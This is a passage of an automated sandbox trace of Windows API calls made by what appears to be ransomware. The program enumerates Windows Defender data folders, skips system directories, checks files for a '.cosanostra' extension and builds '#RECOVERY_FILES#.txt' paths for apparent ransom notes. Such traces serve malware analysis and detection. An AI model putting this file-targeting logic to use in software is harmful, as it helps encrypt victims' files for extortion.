lpFindFileData=0x2cfec08) returned 1 [0081.350] lstrcmpiW (lpString1="Updates", lpString2="Windows") returned -1 [0081.350] lstrlenW (lpString="Windows") returned 7 [0081.350] lstrcmpiW (lpString1="Updates", lpString2="Program Files") returned 1 [0081.350] lstrlenW (lpString="Program Files") returned 13 [0081.350] lstrcmpiW (lpString1="Updates", lpString2="Program Files (x86)") returned 1 [0081.350] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.350] lstrcmpiW (lpString1="Updates", lpString2="$Recycle.bin") returned 1 [0081.350] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.350] lstrcmpiW (lpString1="Updates", lpString2="System Volume Information") returned 1 [0081.350] lstrlenW (lpString="System Volume Information") returned 25 [0081.350] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 72 [0081.350] lstrcmpW (lpString1="Updates", lpString2=".") returned 1 [0081.350] lstrcmpW (lpString1="Updates", lpString2="..") returned 1 [0081.350] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*") returned 74 [0081.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.351] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.351] lstrlenW (lpString="Windows") returned 7 [0081.351] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.351] lstrlenW (lpString="Program Files") returned 13 [0081.351] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.351] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.351] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.351] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.351] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.351] lstrlenW (lpString="System Volume Information") returned 25 [0081.351] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\.") returned 74 [0081.351] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.351] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.352] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.352] lstrlenW (lpString="Windows") returned 7 [0081.352] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.352] lstrlenW (lpString="Program Files") returned 13 [0081.352] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.352] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.352] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.352] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.352] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.352] lstrlenW (lpString="System Volume Information") returned 25 [0081.352] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\..") returned 75 [0081.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.352] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.352] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.352] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\#RECOVERY_FILES#.txt") returned 93 [0081.352] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\#RECOVERY_FILES#.txt") returned 93 [0081.352] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.352] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Windows") returned -1 [0081.352] lstrlenW (lpString="Windows") returned 7 [0081.352] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Program Files") returned -1 [0081.352] lstrlenW (lpString="Program Files") returned 13 [0081.352] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Program Files (x86)") returned -1 [0081.352] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.352] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="$Recycle.bin") returned 1 [0081.353] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.353] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="System Volume Information") returned -1 [0081.353] lstrlenW (lpString="System Volume Information") returned 25 [0081.353] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 103 [0081.353] lstrcmpW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2=".") returned 1 [0081.353] lstrcmpW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="..") returned 1 [0081.353] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*") returned 105 [0081.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.353] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.353] lstrlenW (lpString="Windows") returned 7 [0081.353] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.353] lstrlenW (lpString="Program Files") returned 13 [0081.353] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.353] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.353] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.353] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.354] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.354] lstrlenW (lpString="System Volume Information") returned 25 [0081.354] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\.") returned 105 [0081.354] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.354] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.354] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.354] lstrlenW (lpString="Windows") returned 7 [0081.354] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.354] lstrlenW (lpString="Program Files") returned 13 [0081.354] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.354] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.354] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.354] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.354] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.354] lstrlenW (lpString="System Volume Information") returned 25 [0081.354] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\..") returned 106 [0081.354] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.354] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.354] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.354] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="Windows") returned -1 [0081.354] lstrlenW (lpString="Windows") returned 7 [0081.354] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="Program Files") returned -1 [0081.354] lstrlenW (lpString="Program Files") returned 13 [0081.354] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="Program Files (x86)") returned -1 [0081.354] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.354] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="$Recycle.bin") returned 1 [0081.354] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.354] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="System Volume Information") returned -1 [0081.354] lstrlenW (lpString="System Volume Information") returned 25 [0081.354] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 116 [0081.354] StrStrIW (lpFirst="mpasbase.vdm", lpSrch=".cosanostra") returned 0x0 [0081.354] lstrcmpW (lpString1="mpasbase.vdm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.354] lstrcmpW (lpString1="mpasbase.vdm", lpString2="_uninstalling_.png") returned 1 [0081.354] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 116 [0081.354] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.354] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="Windows") returned -1 [0081.355] lstrlenW (lpString="Windows") returned 7 [0081.355] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="Program Files") returned -1 [0081.355] lstrlenW (lpString="Program Files") returned 13 [0081.355] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="Program Files (x86)") returned -1 [0081.355] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.355] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="$Recycle.bin") returned 1 [0081.355] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.355] lstrcmpiW (lpString1="mpasdlta.vdm", lpString2="System Volume Information") returned -1 [0081.355] lstrlenW (lpString="System Volume Information") returned 25 [0081.355] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 116 [0081.355] StrStrIW (lpFirst="mpasdlta.vdm", lpSrch=".cosanostra") returned 0x0 [0081.355] lstrcmpW (lpString1="mpasdlta.vdm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.355] lstrcmpW (lpString1="mpasdlta.vdm", lpString2="_uninstalling_.png") returned 1 [0081.355] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 116 [0081.355] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.355] lstrcmpiW (lpString1="mpengine.dll", lpString2="Windows") returned -1 [0081.355] lstrlenW (lpString="Windows") returned 7 [0081.355] lstrcmpiW (lpString1="mpengine.dll", lpString2="Program Files") returned -1 [0081.355] lstrlenW (lpString="Program Files") returned 13 [0081.355] lstrcmpiW (lpString1="mpengine.dll", lpString2="Program Files (x86)") returned -1 [0081.355] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.355] lstrcmpiW (lpString1="mpengine.dll", lpString2="$Recycle.bin") returned 1 [0081.355] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.355] lstrcmpiW (lpString1="mpengine.dll", lpString2="System Volume Information") returned -1 [0081.355] lstrlenW (lpString="System Volume Information") returned 25 [0081.355] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned 116 [0081.355] StrStrIW (lpFirst="mpengine.dll", lpSrch=".cosanostra") returned 0x0 [0081.355] lstrcmpW (lpString1="mpengine.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.355] lstrcmpW (lpString1="mpengine.dll", lpString2="_uninstalling_.png") returned 1 [0081.355] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned 116 [0081.355] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.355] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.356] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\#RECOVERY_FILES#.txt") returned 124 [0081.356] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\#RECOVERY_FILES#.txt") returned 124 [0081.356] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.356] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.356] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\#RECOVERY_FILES#.txt") returned 85 [0081.358] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\#RECOVERY_FILES#.txt") returned 85 [0081.358] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.358] lstrcmpiW (lpString1="LocalCopy", lpString2="Windows") returned -1 [0081.358] lstrlenW (lpString="Windows") returned 7 [0081.358] lstrcmpiW (lpString1="LocalCopy", lpString2="Program Files") returned -1 [0081.358] lstrlenW (lpString="Program Files") returned 13 [0081.358] lstrcmpiW (lpString1="LocalCopy", lpString2="Program Files (x86)") returned -1 [0081.358] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.358] lstrcmpiW (lpString1="LocalCopy", lpString2="$Recycle.bin") returned 1 [0081.358] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.358] lstrcmpiW (lpString1="LocalCopy", lpString2="System Volume Information") returned -1 [0081.358] lstrlenW (lpString="System Volume Information") returned 25 [0081.358] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy") returned 55 [0081.358] lstrcmpW (lpString1="LocalCopy", lpString2=".") returned 1 [0081.358] lstrcmpW (lpString1="LocalCopy", lpString2="..") returned 1 [0081.359] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*") returned 57 [0081.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.359] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.359] lstrlenW (lpString="Windows") returned 7 [0081.359] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.359] lstrlenW (lpString="Program Files") returned 13 [0081.359] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.359] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.359] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.359] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.360] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.365] lstrlenW (lpString="System Volume Information") returned 25 [0081.365] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\.") returned 57 [0081.365] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.365] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.365] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.365] lstrlenW (lpString="Windows") returned 7 [0081.365] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.365] lstrlenW (lpString="Program Files") returned 13 [0081.365] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.365] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.365] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.365] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.365] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.365] lstrlenW (lpString="System Volume Information") returned 25 [0081.365] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\..") returned 58 [0081.365] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.365] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.365] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.365] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.365] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\#RECOVERY_FILES#.txt") returned 76 [0081.365] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\#RECOVERY_FILES#.txt") returned 76 [0081.365] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.365] lstrcmpiW (lpString1="Quarantine", lpString2="Windows") returned -1 [0081.365] lstrlenW (lpString="Windows") returned 7 [0081.365] lstrcmpiW (lpString1="Quarantine", lpString2="Program Files") returned 1 [0081.365] lstrlenW (lpString="Program Files") returned 13 [0081.365] lstrcmpiW (lpString1="Quarantine", lpString2="Program Files (x86)") returned 1 [0081.365] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.365] lstrcmpiW (lpString1="Quarantine", lpString2="$Recycle.bin") returned 1 [0081.365] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.365] lstrcmpiW (lpString1="Quarantine", lpString2="System Volume Information") returned -1 [0081.365] lstrlenW (lpString="System Volume Information") returned 25 [0081.365] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine") returned 56 [0081.365] lstrcmpW (lpString1="Quarantine", lpString2=".") returned 1 [0081.365] lstrcmpW (lpString1="Quarantine", lpString2="..") returned 1 [0081.365] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*") returned 58 [0081.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.366] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.366] lstrlenW (lpString="Windows") returned 7 [0081.366] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.366] lstrlenW (lpString="Program Files") returned 13 [0081.366] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.366] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.366] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.366] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.366] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.366] lstrlenW (lpString="System Volume Information") returned 25 [0081.366] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\.") returned 58 [0081.366] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.366] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.366] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.366] lstrlenW (lpString="Windows") returned 7 [0081.366] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.366] lstrlenW (lpString="Program Files") returned 13 [0081.366] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.366] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.366] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.366] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.366] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.366] lstrlenW (lpString="System Volume Information") returned 25 [0081.366] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\..") returned 59 [0081.366] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.366] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.366] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.366] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.366] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\#RECOVERY_FILES#.txt") returned 77 [0081.367] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\#RECOVERY_FILES#.txt") returned 77 [0081.367] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.367] lstrcmpiW (lpString1="Scans", lpString2="Windows") returned -1 [0081.367] lstrlenW (lpString="Windows") returned 7 [0081.367] lstrcmpiW (lpString1="Scans", lpString2="Program Files") returned 1 [0081.367] lstrlenW (lpString="Program Files") returned 13 [0081.367] lstrcmpiW (lpString1="Scans", lpString2="Program Files (x86)") returned 1 [0081.367] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.367] lstrcmpiW (lpString1="Scans", lpString2="$Recycle.bin") returned 1 [0081.367] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.367] lstrcmpiW (lpString1="Scans", lpString2="System Volume Information") returned -1 [0081.368] lstrlenW (lpString="System Volume Information") returned 25 [0081.368] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans") returned 51 [0081.368] lstrcmpW (lpString1="Scans", lpString2=".") returned 1 [0081.368] lstrcmpW (lpString1="Scans", lpString2="..") returned 1 [0081.368] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*") returned 53 [0081.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.371] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.371] lstrlenW (lpString="Windows") returned 7 [0081.371] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.371] lstrlenW (lpString="Program Files") returned 13 [0081.371] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.371] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.371] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.371] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.371] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.371] lstrlenW (lpString="System Volume Information") returned 25 [0081.371] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\.") returned 53 [0081.371] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.371] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.371] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.371] lstrlenW (lpString="Windows") returned 7 [0081.371] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.371] lstrlenW (lpString="Program Files") returned 13 [0081.371] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.371] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.371] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.371] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.371] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.372] lstrlenW (lpString="System Volume Information") returned 25 [0081.372] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\..") returned 54 [0081.372] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.372] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.372] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.372] lstrcmpiW (lpString1="History", lpString2="Windows") returned -1 [0081.372] lstrlenW (lpString="Windows") returned 7 [0081.372] lstrcmpiW (lpString1="History", lpString2="Program Files") returned -1 [0081.372] lstrlenW (lpString="Program Files") returned 13 [0081.372] lstrcmpiW (lpString1="History", lpString2="Program Files (x86)") returned -1 [0081.372] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.372] lstrcmpiW (lpString1="History", lpString2="$Recycle.bin") returned 1 [0081.372] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.372] lstrcmpiW (lpString1="History", lpString2="System Volume Information") returned -1 [0081.372] lstrlenW (lpString="System Volume Information") returned 25 [0081.372] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History") returned 59 [0081.372] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0081.372] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0081.372] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*") returned 61 [0081.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.372] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.372] lstrlenW (lpString="Windows") returned 7 [0081.372] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.372] lstrlenW (lpString="Program Files") returned 13 [0081.372] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.372] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.373] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.373] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.373] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.373] lstrlenW (lpString="System Volume Information") returned 25 [0081.373] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\.") returned 61 [0081.373] lstrcmpW (lpString1=".", lpString2=".") returned 0 